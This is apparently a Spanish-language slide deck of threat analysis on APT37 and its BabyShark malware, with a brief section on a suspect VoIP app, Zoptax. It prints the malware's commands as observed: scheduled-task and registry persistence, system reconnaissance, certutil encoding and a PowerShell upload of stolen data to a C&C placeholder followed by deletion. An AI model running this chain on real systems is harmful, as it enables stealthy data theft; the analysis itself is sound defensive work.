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Introducción

• Cerca de ochenta años de tensiones geopolíticas entre los dos grandes bloques surgidos tras 
la II Guerra Mundial.

• Desde la Guerra de Coreo finalizada en 1953 con un armisticio, la tensión en la península 
coreana no ha desaparecido, manteniéndose una relación bélica y de constantes discusiones 
entre Corea del Sur y Corea del Norte.

• Durante ese tiempo se han producido movimientos militares a ambos lados de la frontera, 
provocan una continua desestabilización de la zona.

• Es por todo ello y sumado el aislamiento internacional, Corea del Norte ha demostrado un 
gran interés por el desarrollo tecnológico, convirtiéndose en uno de los principales enemigos 
políticos tanto de Estados Unidos como de Corea del Sur.

• Todo esto unido al desarrollo que ha experimentado Internet en la última década, ha 
producido que el conflicto bélico se traslade a un nuevo escenario: el ciberespacio.

Situación política



Introducción

• También conocido como Reaper, Group123, ScarCruft o Venus 121.

• Es un grupo cibernético vinculado al Gobierno de Corea del Norte.

• Especializado en la realización de ataques dirigidos contra diferentes organismos y sectores 
de Corea del Sur.

• Conocidos también por bloquear los servicios de sitios web gubernamentales de países 
enemigos, tales como Estados Unidos o Japón.

APT37



Introducción

• Atribuciones:
• 2014 - Ataque contra disidentes políticos

• 2016 - Operación Daybreak

• 2016 - Operación Erebus

• 2017 - Operación Evil New Year

• 2017 - Operación Are you Happy?

• 2019 - Operación NOKKI Campaign

APT37



Laboratorio



BabyShark

• KimJongRAT:

• Ruta de almacenamiento de la información extraída del equipo infectado:

KimJongRAT:

BabyShark:

Relación con APT37

certutil -f -encode “%APPDATA%\Microsoft\ttmp.log” 
“%APPDATA%\Microsoft\ttmp1.log”



BabyShark

• Stolen Pencil

• Uso del mismo certificado robado

Relación con APT37



BabyShark

• KimJongRAT y Stolen Pencil comparten entre ellos el método de descifrado de las cadenas 
de texto.

• Ejemplo descifrado:

Relación con APT37

(:?.!\-%+abcdefghijklmnopqrstuvwxyz  →  :).?\-!+%mqfhxcldpstgazribojkywveun



BabyShark 

Versión 1



BabyShark

• BabyShark se distribuía por correo electrónico a través de Spear-Phising.

• El principal objetivo de esta campaña eran personas que trabajan como expertos nucleares o 
sus organizaciones.

• Para llamar la atención de la victima, el correo electrónico contenía asuntos relacionados con 
la carrera nuclear de Corea del Norte.

• Finalmente para infectar la máquina, el correo contiene un adjunto malicioso.

Distribución



BabyShark

• Para realizar la infección el documento contiene 
código VBA (Visual Basic for Applications).

• Las macros se encuentran protegidas por una 
contraseña.

• Algunas muestras, para mejorar el engaño 
realizan modificaciones en el documento 
simulando un descifrado.

Documento ofimático



BabyShark

• Se han identificado dos tipos diferentes 
de macros.

1. En uno de los casos se descarga 
directamente el código HTA que se 
ejecutará.

2. Se descarga un contenido que simula 
ser un GIF el cual descifra y que 
termina siendo el código encargado de 
la infección.

Macros documento ofimático



BabyShark

• Se ha identificado un ejecutable de Windows 
firmado con un certificado robado.

Versión PE ejecutable



BabyShark

• El código encargado de continuar con la ejecución del malware es el siguiente:

Versión PE ejecutable



BabyShark

• HTA es una aplicación creada en HTML y que permite la 
inserción de código VBScript y JScript.

• Estas aplicaciones se ejecutan como aplicaciones de 
confianza. Este privilegio es utilizado pro el malware para 
ejecutar cualquier tipo de código.

Código HTA



BabyShark

• Solita solicita al servidor de C&C los comandos.

• Descifra el comando recibido del servidor.

• Ejecuta directamente en memoria los comandos 
descifrados (Fileless).

Código HTA



BabyShark

• Persistencia:

• Tarea programada (VBS):

• Tarea programada (JS):

• Registro:

Comandos recibidos

schtasks.exe /Create /SC HOURLY /ST 03:51 /TN "Adobe\Microsoft\Windows\Cljc\Lun" /TR 
"wscript.exe """%APPDATA%\Microsoft\Fan\erypi.vbs"""" /F

schtasks.exe /Create /SC HOURLY /MO 23 /TN "Intel Pro\Windows\Kmba\Lkr" /TR "wscript.exe 
"""%APPDATA%\Adobe\Mqm\obdjn.js"""" /F

reg add "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /v AutoRun /t REG_SZ 
/d "powershell.exe start-process -windowstyle hidden -filepath mshta.exe <URL_C&C>" /f



BabyShark

• Persistencia:

• Contenido (VBS):

• Contenido (JS):

Comandos recibidos

Set wShell=CreateObject("WScript.Shell"):retu=wShell.run("cmd.exe /c timeout 5 
& taskkill /im cmd.exe",0,true)

wShell=new ActiveXObject("WScript.Shell");retu=wShell.run("cmd.exe /c timeout 
5 & taskkill /im cmd.exe",0,true);



BabyShark

• Extracción de información:

• Usuario actual:

• Nombre del equipo:

• Configuración de la red:

• Cuentas del sistema:

Comandos recibidos

cmd.exe /c whoami > %appdata%\Microsoft\ttmp.log

cmd.exe /c hostname > %appdata%\Microsoft\ttmp.log

cmd.exe /c ipconfig /all > %appdata%\Microsoft\ttmp.log

cmd.exe /c net user > %appdata%\Microsoft\ttmp.log



BabyShark

• Extracción de información:

• Aplicaciones instaladas:

• Procesos y servicios en ejecución:

• Ficheros recientes:

Comandos recibidos

cmd.exe /c dir "C:\Program Files (x86)“ > %appdata%\Microsoft\ttmp.log
cmd.exe /c dir "C:\Program Files“ > %appdata%\Microsoft\ttmp.log
cmd.exe /c dir "C:\ProgramData\Microsoft\Windows\Start Menu\“ > 
%appdata%\Microsoft\ttmp.log
cmd.exe /c dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs" > 
%appdata%\Microsoft\ttmp.log

cmd.exe /c tasklist > %appdata%\Microsoft\ttmp.log

cmd.exe /c dir "%APPDATA%\Microsoft\Windows\Recent“ > %appdata%\Microsoft\ttmp.log



BabyShark

• Extracción de información:

• Sistema operativo y versión:

• Variables del entorno:

• Los 10 últimos accesos por RDP:

Comandos recibidos

cmd.exe /c ver > %appdata%\Microsoft\ttmp.log

cmd.exe /c set > %appdata%\Microsoft\ttmp.log

cmd.exe /c reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server 
Client\Default” > %appdata%\Microsoft\ttmp.log



BabyShark

• Extracción de información:

• Ejemplo de fichero de salida:

Comandos recibidos



BabyShark

• Extracción de información:

• Conversión de la información:

• Resultado:

Comandos recibidos

“C:\Windows\System32\certutil.exe” –f encode “%appdata%\Microsoft\ttmp.log”
“%appdata%\Microsoft\ttmp1.log”



BabyShark

• Una vez generado el fichero por la utilidad “certutil.exe”, se envía al servidor de C&C con el 
siguiente comando:

• Cuando termina con el envío del fichero, continua con la eliminación del fichero original y el 
que se encuentra en base64.

Envío de la información

“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” (New-Object 
System.Net.WebClient).UploadFile(“<URL_C&C>”, 
“%appdata%\Microsft\ttmp1.log”); del “%appdata%\Microsft\ttmp1.log”; del 
“%appdata%\Microsft\ttmp.log”



BabyShark 2

• “/method/resp”, “/method/resp_suspect” y “/method/blackip.txt”

Nuevas Rutas



Zoptax

• La web de la aplicación:

• https://www.zoptax.com

• La web publicita un supuesto 
software para realizar llamadas 
VOIP apoyándose en la tecnología 
Blockchain.

• Varios foros hablando de dicha 
aplicación y en algunos de ellos 
comentan la posibilidad de que 
contenga código malicioso.

• https://bitcointalk.org/index.php?to
pic=5150819

• https://bitcointalk.org/index.php?to
pic=5160152.0

Web

https://www.zoptax.com/
https://bitcointalk.org/index.php?topic=5150819
https://bitcointalk.org/index.php?topic=5160152.0


Zoptax

Descargas



Zoptax

• Tras su ejecución observamos el siguiente 
comportamiento:

• Analizando la muestra con mayor detalle, se observa 
un fragmento de código sospechoso.

• Dicho fragmento descifra una cadena binaria y la 
manda como parámetro a WinExec

Comportamiento



Zoptax

Actualmente
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